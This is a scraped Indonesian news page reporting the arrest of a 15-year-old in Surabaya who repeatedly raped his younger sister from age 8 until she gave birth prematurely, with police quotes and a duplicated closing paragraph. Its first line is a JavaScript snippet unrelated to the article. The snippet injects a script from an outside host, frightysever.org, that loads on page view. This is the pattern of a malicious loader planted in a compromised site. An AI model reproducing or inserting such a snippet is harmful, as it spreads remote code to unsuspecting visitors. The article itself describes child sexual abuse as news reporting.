(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Surabaya

Siswa SMP Perkosa Adik Sejak Usai 8 Tahun, Kini Lahirkan Bayi Prematur


KANALKALIMANTAN.COM, SURABAYA – Seorang anak remaja berinisial ND (15) terpaksa harus meringkuk di penjara akibat perbuatan mesumnya.

Siswa SMP di kawasan Surabaya itu ditangkap polisi karena telah memperkosa adik kandungnya sendiri hingga hamil dan akhirnya melahirkan anak secara prematur.

Dikutip Suara.com dari Beritajatim.com, Senin (27/7/2020), kasus ini terkuak setelah polisi mendapatkan laporan dari ibu kandung pelaku berinisial DSN (35).

Kecurigaaan ND lantaran akhir-akhir ini tak melihat ND dan adiknya bermain di luar rumah. Padahal sebelum ada kejadian perut membuncit yang dialami anak kandung yang kedua itu, mereka sering dan bahkan hampir setiap hari bermain dengan tetangga.

Baca juga :

Dari kecurigaan itu, DSN akhirnya mengetahui jika ND menyetubuhi adik kandungnya sendiri bahkan sekarang sudah melahirkan bayi secara prematur. Korban pertama kali dicabuli oleh kakak kandungnya sejak tahun 2018 lalu.

Ketika itu, ND pulang dalam keadaan pengaruh minuman beralkohol. Gadis malang tersebut dicabuli berkali-kali sampai Juli 2020. ND memanfaatkan kesempatan saat tidur bersama di rumahnya.

“Pelakunya adalah kakak kandungnya. Ternyata adik kecil sejak umur 8 tahun sudah dicabuli kakaknya sendiri dan bahkan hamil hingga melahirkan,” kata Kanit PPA Satreskrim Polrestabes Surabaya, IPTU Fauzy Pratama.

“Jadi pelaku ini ketika pulang dalam keadaan mabuk, hasratnya naik dan ingin bersetubuh dengan perempuan. Hingga akhirnya sang adik yang jadi pelampiasan,” kata dia.

Dalam kasus ini, polisi telah menyita sejumlah barang bukti di antaranya pakaian yang dikenakan korban saat diperkosa kakak kandungnya.

Baca juga :

Atas perbuatannya itu, ND kini harus meringkuk di penjara. Remaja tanggung itu dijerat Undang-Undang Perlindungan anak dan terancam pidana maksimal 15 tahun penjara.

“Kami juga masih memeriksa anak ini secara intensif, dan meminta keterangan dari sejumlah saksi. Untuk korban melahirkan secara prematur dan anaknya kini berumur 11 hari,” ujar Fauzy.

“Kami juga masih memeriksa anak ini secara intensif, dan meminta keterangan dari sejumlah saksi. Untuk korban melahirkan secara prematur dan anaknya kini berumur 11 hari,” ujar Fauzy. (suara)


Desy Arfianty

Recent Posts

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

3 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

3 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

4 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

4 jam ago

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

17 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

17 jam ago

This website uses cookies.